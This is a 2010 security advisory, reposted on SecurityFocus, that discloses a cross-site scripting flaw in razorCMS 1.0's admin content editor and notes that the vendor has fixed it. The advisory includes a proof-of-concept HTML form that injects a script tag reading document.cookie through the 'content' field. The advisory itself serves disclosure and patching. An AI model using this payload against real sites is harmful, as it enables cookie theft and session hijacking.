XSS vulnerability in razorCMS May 25 2010 05:47PM
advisory htbridge ch
Vulnerability ID: HTB22376
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_razorcms.html
Product: razorCMS
Vendor: morgan integrated systems limited
Vulnerable Version: 1.0 stable
Vendor Notification: 10 May 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/core/admin_func.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://example.com/admin/?action=edit&slab=home" method="post" name="main" >
<input type="hidden" name="title" value="Home" />
<input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />
<input type="hidden" name="ptitle" value="" />
<input type="hidden" name="theme" value="theme-default" />
<input type="hidden" name="check_sidebar" value="sidebar" />
<input type="hidden" name="save" value="Save Content" />

Solution: Upgrade to the most recent verison

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus